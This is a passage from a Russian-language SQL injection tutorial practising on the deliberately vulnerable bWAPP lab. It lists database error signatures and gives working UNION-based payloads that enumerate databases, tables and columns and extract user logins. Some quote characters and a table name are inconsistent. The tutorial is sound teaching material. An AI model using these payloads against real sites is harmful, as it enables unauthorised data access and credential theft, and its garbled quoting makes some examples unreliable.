не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

Для такого запроса (используются одинарные кавычки и круглые скобки):

SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")

нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

Demo") #

Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

Стиль ошибок MySQL:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\"" at line 1

Ошибка в MSSQL ASPX:

Server Error in "/" Application

Ошибка в MSAccess (Apache PHP):

Fatal error: Uncaught exception "com_exception" with message Source: Microsoft JET Database Engine

Ошибка в MSAccesss (IIS ASP):

Microsoft JET Database Engine error "80040e14"

Ошибка в Oracle:

ORA-00933: SQL command not properly ended

Ошибка в ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Ошибка в PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near """ Position: 1 или Query failed: ERROR: syntax error at or near """ at character 56 in /www/site/test.php on line 121.

Ошибка в MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string

Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

Практический пример простой SQL-инъекции

Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

Выбираем баг «SQL Injection (GET/Search) »/

От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

Iron Man"

Результат

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1

Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

Iron Man"

Результат

Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

Iron Man" OR 1 #

Результат:

Определение количества столбцов таблицы с помощью ORDER BY

Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

Iron Man" AND 0 ORDER BY 1 # Iron Man" AND 0 ORDER BY 2 # Iron Man" AND 0 ORDER BY 3 # ……………………… ……………………… ……………………… Iron Man" AND 0 ORDER BY 7 #

Iron Man" AND 0 ORDER BY 8 #

получен следующий результат:

Error: Unknown column "8" in "order clause"

Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

Iron Man" AND 0 UNION SELECT 1 # Iron Man" AND 0 UNION SELECT 1,2 # ……………………… ……………………… ……………………… Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Объединение запросов с UNION SELECT

UNION позволяет объединять результаты в один от нескольких выражений SELECT .

Конструируем наш запрос с UNION :

Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL - тогда вместо поля ничего не будет выведено.

Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции и переменные, которые можно писать непосредственно в UNION :

Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет

Ввод для получения имени базы данных:

Iron Man" AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

База данных INFORMATION_SCHEMA

В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA . Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

  • SELECT и FROM - уже знакомые элементы языка запросов к базам данных;
  • SCHEMA_NAME - имя запрашиваемого столбца;
  • INFORMATION_SCHEMA - имя базы данных, к которой делается запрос;
  • SCHEMATA - имя таблицы, в которой ищется запрашиваемый столбец.

Получение списка всех баз данных на сервере через SQL-инъекцию

Используя UNION , мы можем сделать запрос к базе данных INFORMATION_SCHEMA . Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT . Например, для первой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

Для второй строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

Для третьей строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

Для четвёртой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

Iron Man" AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

Желаемый запрос:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"

Где вместо tablenamehere нужно подставлять имя таблицы.

Например, нами получены следующий имена присутствующих в базе данных таблиц:

  • heroes
  • movies
  • users
  • visitors

Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"

Применительно к нашей уязвимости получаем ввод:

Iron Man" AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME="blog" #

Здесь также можно применять LIMIT .

Извлечение данных из таблицы с помощью SQL-инъекции

Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

Iron Man" AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

Заключение по первой части

В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных . Если вопросы остались, то пишите их в комментариях.



Загрузка...